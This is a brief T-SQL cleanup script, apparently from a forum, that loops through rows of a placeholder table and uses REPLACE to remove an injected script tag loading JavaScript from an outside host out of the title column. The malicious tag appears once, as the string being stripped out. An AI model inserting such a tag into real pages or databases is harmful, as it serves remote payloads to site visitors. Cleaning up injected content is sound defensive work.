declare @a int |
set @a=0
|
while @a<=100 |
begin |
update table set title=( Select Replace (title, '<script src=http://cn.daxia123.cn/cn.js></script>' , '' ) from table where id=@a) where id=@a
|
set @a=@a+1
|
end |